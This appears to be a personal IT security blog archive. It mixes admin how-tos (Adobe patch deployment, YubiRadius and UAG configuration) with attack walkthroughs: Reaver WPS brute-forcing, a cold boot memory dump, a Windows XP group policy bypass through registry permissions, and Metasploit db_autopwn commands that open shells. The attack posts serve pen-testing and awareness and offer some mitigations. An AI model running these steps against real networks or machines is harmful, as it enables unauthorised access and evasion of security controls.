Enterprise deployment of the Adobe Photoshop CS6 6.0.1 security update - CVE-2012-4170

There is no denying Adobe probably have the most convoluted enterprise processes in the industry but luckily the latest CS 6.0.1 security update deployment isn't too bad at all, if you know where to look that is.

The official Adobe blog post simply mentions going to Help > Update from within Photoshop, which is OK for updating a single client but doesn't suffice for enterprise upgrades.

This update probably isn't blog worthy, but I had trouble finding both the update itself and the silent install strings for the update, so I thought it might save someone else a few minutes.



Obtaining the update

The Adobe blog post doesn't mention the update can be downloaded in a redistributable format from the Adobe support downloads page - available here http://www.adobe.com/support/downloads/new.jsp

The above address is the location for all the latest Adobe network deployable updates/security fixes. You can also grab the Photoshop CS6 6.0.1 update for Windows directly from here http://www.adobe.com/support/downloads/detail.jsp?ftpID=5408



Silently installing the update

Again this is REALLY easy, but I saw a number of syntax errors on other blogs that complicated things.

1. Extract the Update zip file.

2. Create a install.cmd with the following text inside

start /wait AdobePatchInstaller.exe --mode=silent

Please note the "--mode=silent" has a small s, a capital S will cause this process to fail.


3. This next line is totally up to you, but I also deploy a blank file to the file system. This file allows me to easily evaluate the patch version of Photoshop when deploying future updates.

copy /Y adobecs6_13_0_1.tch c:\windows\deployment\adobecs6_13_0_1.tch

Your done! You can now deploy the install.cmd with SCCM or your favourite deployment tools. Hopefully these simple tips/references save you a few minutes.

Configuring Forefront UAG trunks to support Yubico YubiRadius OTP authentication

In the process of preparing some of my external services for Yubikey integration I have been faced with a few problems, integration with Forefront UAG is no exception.

Adding the YubiRadius radius server to UAG as an authentication server is rediculously easy. Open the desired trunk properties, go to the authentication tab, add a new radius authentication server and put in your server IP and secret key.

After spending all of 2 minutes configuring YubiRadius as an authentication provider for one of my existing trunks I attempted to login and was repeatedly met with a generic UAG "Access Denied" screen.

I jumped onto the YubiRadius box via SSH and restarted freeradius in foreground vebrose debug mode by starting it with freeradius -f -X. Freeradius gave me a vital clue, UAG was only passing the first 20 characters of the OTP to the YubiRadius server, so of course YubiRadius was replying to UAG with access denied.



Fixing the Issue

The problem occurs because by default UAG only allows 20 characters in the password field, any more than 20 are automatically truncated back to 20 before being passed to the authentication server. In most instances this would be fine, but for OTP's it simply doesn't work. Luckily for us, the fix is a piece of cake.

1. Log into your UAG box and open the following folder "%programfiles%\Microsoft Forefront Unified Access Gateway\von\InternalSite\samples"

2. Copy the customDefault.inc from the samples folder to "%programfiles%\Microsoft Forefront Unified Access Gateway\von\InternalSite\inc\CustomUpdate"

3. Edit the customDefault.inc and change the PasswordLimit field to 50 (or more if you are using a custom OTP length), as per below. You may even need to consider a length closer to 70 characters if you are using a shared field for Active Directory password and OTP.

4. Open a command prompt and issue an iisreset

Done like a dinner, your UAG server should now pass the full OTP token to Freeradius, to which it can properly validate if the token is authentic or not.

How to run Yubico YubiRadius on Microsoft Hyper-V

For anyone that might have read my blog posts in the past you would know I am an advocate of Yubico Yubikeys and in particular their implementation with YubiRadius.

YubiRadius allows the system administrator to host an in-house Radius server (I was about to write Yadius) that is the missing link between Yubikeys and anything that can interface with Radius.

Unfortunately YubiRadius only comes in OVF and VMware formats, which leaves anyone with Hyper-V infrastructure in a hole, but luckily its quite easy to get it up and running on Hyper-V



The Conversion Process

1. Download YubiRadius VMWARE edition from here http://yubico.com/yubiradius-vm


2. Grab the VMDK2VHD converter, it easily converts VMDK files directly to VHD for use in Hyper-V. You can download it from here http://vmtoolkit.com/files/folders/converters/entry8.aspx


4. Open VMDK2VHD, it will prompt you for a VMDK file, point it towards the YubiRadius VMDK file you downloaded in step 1. Select an output location for your VHD file and start the process.

3. Once the VHD has been created jump onto your Hyper-V box and create a new virtual machine, give it the following attributes.

Memory: 1024MB (or more if you want)
Legacy Network Adapater
and assign your newly created VHD file to the IDE controller.

The rest of the settings are up to your personal preference.

4. Take a snapshot before you start, just in case you hose something in the setup process. Then boot your new Hyper-V YubiRadius server.


5. Login with the default credentials.
Username: root
password: yubico

Once logged in the GUI may not load correctly, it didn't for me. A simple ctrl+alt+f2 will re-direct you to a working terminal. From here you can use update-rc.d -f remove to remove services you don't want to run at boot, such as the GUI X11.


6. We need to setup the network adapter so we can login via SSH for future configuration. Enter the following commands at the command prompt.

cd /etc/network
nano interfaces

Below are some example settings you can change and then paste directly into the interfaces file.

# The primary network interface
allow-hotplug eth0
iface eth2 inet static
        address 192.168.1.100
        netmask 255.255.254.0
        network 192.168.1.0
        broadcast 192.168.2.255
        gateway 192.168.1.1
        # dns-* options are implemented by the resolvconf package, if installed
        dns-nameservers 192.168.1.1
        dns-search domain.internal

Make sure you hash out the #auto eth0 line, or you may have problems booting.

Press ctrl+x to exit, and type Y to save the changes.


7.  Next we need to add at least one DNS server to /etc/resolv.conf to enable DNS resolution. You can change the below IP address to reflect your DNS server.

echo 192.168.1.1 >> /etc/resolv.conf

8. Finally you can issue a reboot with the below command for the settings to activate.

shutdown -r now

9. After the system has rebooted, you should be able to SSH in and access the Webmin interface via http://IP:10000/

The default username is yubikey and the password is yubico.



It might be a good idea to setup an IPTables firewall and disable as many unrequired services as possible, YubiRadius is fairly loose by default.

If you hose the system (it doesn't reboot after you change the network settings) you can go back to the snapshot you took before you started. Ensure your network configuration is correct and you hashed out the #auto eth0 line after changing the interfaces file.

Modifying YubiRadius to authenticate only the OTP for use with Citrix Access Gateway

For those that aren't aware the Yubico Yubikeys are a fabulous product, a one time password token built with flexibility in mind. Don't want to use Yubico's cloud based authentication servers? No problems run your own, don't trust the Yubico AES keys that comes with the Yubikeys? No problems, add your own keys.

One initial drawback of the Yubikey was their limited use in the enterprise space, if you wanted to use them within the enterprise you needed to write your own authentication mechanisms to tie in with the Yubico API. Enter YubiRadius, a yubikey radius solution that ties together freeradius, apache and some custom php scripting to deliver combined LDAP/Yubikey authentication.

Not all enterprise applications are able to use two separate radius servers (LDAP radius then YubiRadius). With this in mind Yubico has addressed that by requiring the user to enter their password immediately followed by a OTP in the password field. This is a great solution and really opens up a number of new potential ways of how Yubikeys can be applied.

One of the biggest limitations of entering the password + OTP in one field is single sign on. Using a product like Citrix Access Gateway (CAG) that takes the initial username and password and passes them through to the Xendesktop/Xenapp instance sitting behind the CAG, this will never work. What CAG does support though is a dual password field, the first would be the normal LDAP password field that is used for the pass-through and the second field can be a radius server.

As you could imagine users wouldn't be impressed knowing they have to type their password into the LDAP password field, then again into the YubiRadius password field and ALSO insert their Yubikey for OTP. The solution for this is using YubiRadius is OTP only mode, this way it purely focuses on validating the OTP against the LDAP username.

Unfortunately out of the box YubiRadius doesn't support OTP only authentication, but with a few modifications to the /var/www/wsapi/ropverify.php file we are able to gain the desired results without breaking any password + OTP logins that may occur.

The below modifications change the ropverify.php file to first check the password length. If the password length is 44 characters then there is no password present (YubiID+OTP is 44 characters), resultantly LDAP password verification is skipped. If it is not 44 characters in length the password field is treated as per default, both LDAP password and OTP are verified independently.

If you have manually changed your Yubikey keys and your YubiID+OTP result in a string longer than 44 characters in length, you will need to make a modification to my code changes to reflect that.

While this works great in my environment, I would suggested if you want the highest level of security then you should use multiple instances of YubiRadius, one of OTP only authentication and another for LDAP password + OTP authentication.



Step by Step

NOTE: This was done on version 3.5.1 of YubiRadius, use it at your own risk. 

1. Jump onto your YubiRadius box either via the console or SSH and su to root.

2. Navigate into the /var/www/wsapi folder
cd /var/www/wsapi

This is where the ropverify.php file is. FreeRadius sends a request to ropverify.php and ropverify verifies that both the LDAP password and the OTP line up with the LDAP username.

3. Download my patch file from pastebin, a wget should do the job. Name the downloaded file ropverify.patch
http://pastebin.com/raw.php?i=K8U95nx5

4. Take a backup of your ropverify.php in case something goes wrong.
cp ropverify.php ropverify.php.bak

5. Issue the following command to patch the existing ropverify.php

patch ropverify.php < ropverify.patch

The file should now be patched and ready to go, you still need to make one change to enable OTP only logins.

6. Edit the ropverify.php file

nano ropverify.php

7. Find the line that reads:

$otpOnlyAuthAllow = 0; //change to enable OTP only

Change the 0 to 1, and if you want to disable it, change it back to 0.


It really is as easy as that. Now you can have users login with only the OTP or with both the password and OTP in the password field.

Please keep in mind you should disable auto-provisioning if you are using this script. If auto-provisioning is enabled, anyone with a Yubikey can potentially associate themselves with an existing LDAP account and bypass your two-factor authentication.

Using Cisco Spectrum Expert and Backtrack to identify wireless anomolies

Cisco wireless controllers are great products, they allow the administrator to manage the entire wireless farm from a single console, making bulk changes and problem solving as required. Cisco recently released the clean air access points that take troubleshooting to a new level without the need for expensive spectrum analyser cards.

Recently I began receiving e-mail alerts from the wireless controller complaining of an "WiFi Invalid Channel", the exact error message was.

WCS has detected one or more alarms of category Security and severity Critical in Virtual Domain root for the following items:

Security-risk Interferer 'WiFi Invalid Channel' is detected. (2 times)

E-mail will be suppressed up to 30 minutes for these alarms.

Every 30 minutes the error would repeat, over and over again. The strange thing for this particular error was it would still alert in the middle of the night, excluding most business devices and devices like microwaves. While this wasn't affecting the clean air rating of the AP dramatically, it was continually triggering alerts and being flagged as a security issue.

After sending out an e-mail to key staff asking if any new wireless based equipment was installed recently and receiving no response I broke out the Cisco Spectrum Expert.

Detecting the problem

Fortunately the Cisco 3500i series clean air access points can be used in conjunction with Cisco Spectrum Expert software to troubleshoot issues such as this.

To do this you need to head over to Cisco.com and grab a copy of Cisco Spectrum Expert, it wasn't available in my download portal, but a quick email to Cisco resolved that.

Your AP can't service clients for the duration of the Spectrum Expert usage, so plan to do this after hours when your users won't be impacted.

After setting your AP to se-connect mode, either from the wireless controller or by connecting directly to the AP console, you can point Spectrum Expert at the AP and start analysing the results.

As soon as I fired up Spectrum Expert I was presented with the "WiFi Invalid Channel". While there is a great deal of detail, nothing definitively helped me identify what the problem device is. I tried searching in google for the exact frequency of the device but wasn't able to dig up any results.

One useful piece of information is the dBm (signal strength), that at -90.7 suggested the problem device in question was some distance from AP performing the analysis.

Where is it?

One question leads to another, I don't know what this device is, but can I find it? For this I fall back to a trusty laptop, my Alfa 500mw USB wireless adapter (RTL8187 chipset) and of course Backtrack 5 R1.

I decided to use a tool I have rarely used in the past, ssidsniff, which as its name suggests is normally used for uncovering hidden SSID's. Ssidsniff was chosen purely because I found it easier to view the BSSID and signal strength than in airodump (where BSSID's were jumping all over the screen based on the AP's current signal strength).

I quickly identified 00:00:00:00:00:00 as the problem BSSID, ssidsniff flagged it as "no identifiable channel" and "network only contains hosts" indicated by the H flag. While the valid AP's in my environment displayed as being "WPA/WPA2 capable". It may be totally different based on the device causing the problem, but it was extremely easy to identify this device as an anomaly compared to the rest of the devices.

My tracking process went as follows,

1) Starting right below the AP that originally detected the wifi invalid signal, I started ssidsniff and measured the dBm of  00:00:00:00:00:00.

2) I moved 5-10 metres in any direction then remeasure. I ctrl+c to kill ssidsniff and re-launch it every time I move to get the latest dBm. If the signal is getting stronger (which would be indicated by the dBm getting closer to 0, for example -25 is a stronger signal than -70) I keep moving in that direction, otherwise I change direction.

3) Repeat the above process until you find the highest signal strength you can, then look around.

Within about 5 minutes I had a dBm of -20, I found myself right next to a wireless microphone receiver, which funnily enough was turned on. After switching the receiver off and checking spectrum expert the invalid WiFi channel was gone, problem solved! You can then either suppress the error or replace the at fault equipment.

I am sure there are more technically amazing ways to accomplish this task but an inexpensive WiFi adapter and Backtrack was able to solve this problem perfectly.

Exploiting WPA2 WPS vulnerabilities with Reaver and Backtrack 5

On December 27th, 2011, a new WPS vulnerability was disclosed by Stefan Viehböck. This severe vulnerability has the potential to expose pass phrases of any WPA/WPA2 networks running WPS via a brute force attack. US-Cert have acknowledged this attack with Note VU#723755.

WiFi Protected Setup (or WPS) is designed to make life easier for the average user. In most cases the user will press a button on their wireless access point, this will initiate an easy pairing sequence between the router and the client. If you have recently purchased a wireless router chances are it has WPS and it has probably been enabled by default.

Stefan worked out that the PIN used between the router/client is only 8 characters in length and that the last digit is a checksum, making the brute force password length 7 characters. To make matters worse, the router splits the 7 characters into 2 PINs, one of 4 characters and one of 3 and worse again it will confirm both pins independently. This means that there are 10⁴ + 10³ possible combinations or 11,000 in total.

Some routers have built in protection that will only allow a specific amount of PIN attempts per allotted period of time, this will only slow the attack process though, if someone is willing to wait long enough they will recover the pass phrase.

While Stefan was exploring this vulnerability, so were the good folks at Tactical Network Solutions with their release of a brute force attack software named reaver-wps. Reaver is able to brute force attack WPS PINs with the bold intention of recovering WPA/WPA2 pass phrases, lets take a look.



Using Reaver

This tools is extremely easy to use, I recommend a RTL8187 based wireless adapter (you already have one of these for your WEP pen testing right?).

1. Boot Backtrack 5, establish a network connection and install reaver.
apt-get install reaver

2. First lets take a look at the available networks, I still use airodump-ng for this.

airodump-ng wlan0

3. After finding the BSSID we are interested in (the one you just set up for your proof of concept), issue the following reaver command, replacing "00:11:22:33:44:55" with your target BSSID and "wlan0" with your adapter.

reaver -i wlan0 -b 00:11:22:33:44:55 -c 1 -vv

The above command is attacking BSSID "00:11:22:33:44:55" on interface "wlan0" and channel 1, it is also using a high verbose level.

You can see from the image (click to enlarge) that Reaver begins to brute force combinations of pins. This process can take hours, the Reaver website suggests on average it will take between 4-10 hours to recover a pass phrase. The particular AP I tested the attack against had some PIN rate limiting protection  (as reported by Reaver) that significantly delays but doesn't stop the attack. I didn't leave the attack going more than a few minutes but you get the idea.

Fortunately there is a simple fix, disable WPS or even better, move to WPA2-Enterprise with a RADIUS back end. With any luck the WiFi Alliance and associated manufactures will release firmware updates quickly to resolve this issue, but for the time being millions of wireless access points remain vulnerable to this simple attack.

Cold Boot Memory Attack part 1

A couple of years back the good folks at Princeton discovered a neat way of attacking full disk encryption. RAM or random access memory is "supposed" to be volatile, meaning as soon as you reboot or power off, the contents is lost. The team at Princeton discovered this certainly isn't the case when the machine is warm rebooted and the contents can even survive a full power off cycle if the RAM temperature is lowered (perhaps with liquid nitrogen).

The technique involves either rebooting the machine with the reset button or pulling the power cable of the rig and attempting to maintain the RAM contents (one way to maintain the contents is to super-cooling the ram). A lightweight operating system is then booted, this OS will only overwrite a small portion of the memory, the remaining memory is then dumped to a file which can later be analysed off-line.

In part 1 I simply want to prove the concept of this attack and learn how it works. Then in part 2 I will attempt to combine what I have previously learnt with liquid nitrogen cooling to see if its possible to transfer the memory from one physical computer to another without losing its contents. This sort of attack might be important if the target doesn't allow selection of boot devices or if there is some other type of boot protection in place.



The Software

I have chosen to use McGrew Security's msramdmp, which in conjunction with the extremely tiny syslinux loader is a lightweight and easy to use memory dumping solution. I will not go into the details of building the bootable USB capable of performing this memory dump as McGrew Security has a great tutorial available here.

I have made a few small modifications to the McGrew Security tutorial though. Instead of using the USB stick to dump the memory contents I am going to use a Corsair Force GT SATA3 SSD. This will allow me to dump the memory contents much quicker, which is essential if you are dumping 4GB+ of memory. I found dumping to USB took in excess of 15minutes for a 2GB module, whereas the SSD took less than a minute to complete. When you are trying to dump data fro liquid nitrogen cooled memory that is slowly decaying, time is of the essence.



The Setup

Gigabyte P55-UD5 with Intel 870
Corsair Force GT SSD (for dumping the memory)
USB configured with syslinux 3.6 and msramdmp
2GB module of GSKILL PSC memory

I have chosen a single 2GB stick of PSC as the lower memory size will dump quicker. I have selected PSC because it likes cold temperatures, so when it comes time to freeze the memory I know this stick will work perfectly.

 

The Attack

First I prepare my SSD with the type 40 partition (Venix 80286) required to dump the memory (as per the image below).

I then booted into an USB based dos boot disk and tried to seed my blog name into the memory. I have repeated this a number of times but every time when I boot into Linux to analyse the dump, there is no mention of metasplo.it.

Next I tried booting into a Linux live USB and did the same echo command, but this time the output is sent to a file situated on a "ramdisk" in the hope this will help seed my blog address into RAM.

Next I warm reboot the machine by hitting the reset button, I hit F12 and selected to boot from my msramdmp USB and let the dump occur.

After around a minute the 2GB of memory is written to the type 40 partition on my SSD and then msramdmp changes the partition to type 41 (PPC PReP Boot) as per below.

Next I rebooted into the Linux live CD once again to analyse the SSD with the strings command. SUCCESS! This time the "blog.metasplo.it" string has survived the reboot and been dumped successfully from memory.

That was relatively easy and the end of part 1. You can see how this attack could be brutal in dumping encryption keys to even the most heavily encrypted hard disk.

Next I will try to transfer the memory module from one system to another while frozen with liquid nitrogen to proof of concept an attack in a more privileged environment.

Blocking Windows XP user group policy by exploiting a roaming profile vulnerability

For users that roam from workstation to workstation, roaming profiles can be a life saver. All the users settings and customizations move with them and save bucket loads of configuration.

There is a huge security hole with the Windows XP roaming profile model thought, as the HKEY_CURRENT_USER hive is synchronized to the network, any customizations to the security permissions are also synchronized. It is therefore possible to totally block group policies from applying at the HKEY_CURRENT_USER level with a few easy steps.

While this doesn't affect computer level policies in the same way, they are rarely used to enforce restrictions such as blocking regedit, command prompt or the run command. Incidentally a user in a high security environment can bypass these restrictions throughout the whole network by access a single vulnerable machine.

The following steps must be performed as a local Administrator. Hold on, did you say as an Administrator? Doesn't that ruin the whole security hole arguement? In fact there are so many vulnerabilities in Windows XP that unless the patch management of the environment is good, you should be able to elevate to Administrator or SYSTEM on some computer throughout the enviroment.

Even easier is to use the "vBootkit" by Nitin and Vipin Kumar. This ingenious boot CD allows the attacker to elevate any process to system level privileges by loading a temporary rootkit into the MBT. For example we could designate the vBootkit to elevate cmd.exe to SYSTEM token after we launch it, or if command prompt is currently blocked with policy we could elevate a 3rd party task manager or launcher.

The beauty of the vBootkit is as soon as you reboot, its gone, it only loads itself into the memory space of the single boot.


Could it get any easier?

1. After elevating yourself to an Administrator or SYSTEM prompt (perhaps via the Kumar's vBootKit), launch a regedit session.

2.  After I navigate to my "HKEY_CURRENT_USER\Software\Policies" key, you can see a number of policies that are set to apply to my account. These have likely been added via domain group policy.

3. If we right click the Policies key and select permissions, we find the SYSTEM has full control over this key.

5. The SYSTEM account is used to deliver group policies directly to this "HKEY_CURRENT_USER\Software\Policies" registry key. By setting the SYSTEM account to Deny permissions. as per the image below, we effectively block the system from being able to apply its group policies to my account.

Computer policies will still continue to function, but you can use the same technique on the "HKEY_LOCAL_MACHINE\Software\Policies" hive to block computer policies. The difference is HKLM changes won't follow you from computer to computer like HKCU policies will in a roaming profile environment.

6. The next step is to delete all the existing policies (unless there is any you want to keep of course). We can now potentially unblock Internet Explorer restrictions, allow the command prompt and perhaps even stop a login script from running.

7. Now if you run a gpupdate you will find the policies don't reapply, your HKCU policy free! The next time you log off these policy permission changes will be synchronized to the network and you will be exempt from HKCU policies on every machine login.

You can see how devastating this could potentially be. A systems administrator doesn't patch an edge workstations as early as early as he or she should, an employee elevates themselves to local administrator and applies these group policy blocks, the changes synchronize to the network. All of a sudden that same employee has allot more flexibility to launch attacks from more privileged workstations (that are running roaming profiles) in other parts of the network.

Possible ways of mitigating the attack

I think the easiest way to mitigate the attack is auditing. Regular checking, or scripted checking of NTUSER.DAT hives on the network share the roaming profiles reside.

I have played around with scripting to mount the hive as read-only (with reg load), check the Policies key for SYSTEM permissions irregularities with subinacl, report on any unusual findings and then un-mount the hive.

Using subinacl and the below string we can audit the current status of the SYSTEM account that is used to apply the group policy to the user "HKEY_CURRENT_USER\Software\Policies" key.

subinacl /verbose=1 /keyreg "HKEY_CURRENT_USER\Software\Policies" /display=dacl

You could very simply do this with a batch or kixtart script and have it run on a weekly or monthly basis and e-mail the dodgy findings directly to you.

Backtrack 5 vs Backtrack 4

Everyones favourite security distribution has just been updated, with Backtrack 5 (codename Revolution) being released in the last few weeks.

As per usual backtrack is offered as an ISO and a VM, which is extremely handy for getting straight into play around with the new features without any setup requirements.

Backtrack 5 is based on Ubuntu 10.04 LTS and the Linux kernel 2.6.38, and metasploiters will be excited to know that metasploit 3.7.0 is packaged as part of the BT5.

db_Autopwn - if noise doesnt concern you...

What is very impressive is how easy it is to use db_autopwn to scan the network, automatically create a mysql database to export the scans results to, and then run possible exploits against hosts that are found. Remember of course db_autopwn is VERY loud, so you wouldn't want to use this sort of technique if you know your targets potentially have any IDS/IPS or network monitoring in place such as SNMP trapping.

For those interested it is as simple as a couple easy steps.

1. I like to work via the GNOME interface, so navigate to Metasploit Framework and open the msfconsole.

2. Type: db_driver mysql
This will set the nmap scan to log to MySQL

3. Type: nmap -v -O 10.101.224.185
This will scan the host and log the results to MySQL










4. Type: db_autopwn -p -e -b
This will analyze the host and automatically launch all possible exploits found against the host. If any of the exploits work you will gain a reverse_tcp shell bound to a random port. If you want to add -t to your arguements list you will get a long list of all the exploits available against the platform, in my case 8113.

5. Type: sessions -l
To find out if you have any available sessions to use or upgrade to the more advanced meterpreter shell.

6. Type: sessions -i <session id> (without the brackets)
This will bind to any active shells listed above.

You can also sessions -u <session id> to upgrade your shell to a meterpreter shell. Then the fun of hash dumps and sniffing the clients keystrokes can begins, but that's a blog for another day!


I love BT5 and hope to have more chances to use it in production in the future!